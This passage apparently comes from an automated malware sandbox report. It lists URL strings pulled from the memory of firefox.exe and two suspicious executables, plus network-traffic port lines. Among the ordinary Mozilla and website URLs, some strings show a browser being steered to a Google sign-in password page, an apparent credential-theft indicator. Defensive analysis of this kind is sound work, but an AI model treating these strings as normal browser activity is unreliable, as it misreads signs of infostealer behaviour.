Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142724308.0000016D66B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFoundT
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeededTo
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000017.00000002.3149938942.0000016D672A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000017.00000002.3156286806.0000016D68FB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000017.00000002.3111377594.0000016D60508000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D63591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000017.00000002.3111154438.0000016D60200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://whttps://www.bing.co
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://4f47c29b-7155-4366-aad7-27a24ed38
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000017.00000002.3110555542.0000016D60003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000017.00000002.3108707979.0000016D5FA98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.
Source: firefox.exe, 00000017.00000003.3077951525.0000016D6C54A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076060441.0000016D6C3AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000017.00000003.3008320117.0000016D64638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3009175241.0000016D6466F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000017.00000002.3109806696.0000016D5FCA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2106626571.0000000005621000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2863225337.00000000059CB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/_setCurrentTipFromAppUpdaterStatusaction
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2106626571.0000000005621000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2863225337.00000000059CB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/)2P
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2106626571.0000000005621000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2863225337.00000000059CB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3019268242.000000000605C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000017.00000002.3100090145.000000151D37C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000017.00000002.3142724308.0000016D66B95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143979190.0000016D66C75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000017.00000002.3150846746.0000016D67367000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3167775186.0000016D6CCFD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160909733.0000016D6C203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143979190.0000016D66CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000017.00000002.3142724308.0000016D66B95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3109029325.0000016D5FB43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000002.2991564875.0000029BD8597000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2996421706.00000190ACD4F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3106090244.0000016D54169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000017.00000002.3108075920.0000016D5608A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3108075920.0000016D560B1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125618058.0000016D63DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTake
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://youtube.com/
Source: firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com_m
Source: firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comg
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comsetInitiallySelectedIndex
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comsetInitiallySelectedIndextoolkit/global/videocontrols.ftlset
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comwebIsolated=https://youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59947
Source: unknown	Network traffic detected: HTTP traffic on port 59855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59948
Source: unknown	Network traffic detected: HTTP traffic on port 59878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59942
Source: unknown	Network traffic detected: HTTP traffic on port 59898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59950
Source: unknown	Network traffic detected: HTTP traffic on port 59935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59951
Source: unknown	Network traffic detected: HTTP traffic on port 59906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59848
Source: unknown	Network traffic detected: HTTP traffic on port 59857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59846
Source: unknown	Network traffic detected: HTTP traffic on port 59899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59853
Source: unknown	Network traffic detected: HTTP traffic on port 59908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 59925 -> 443
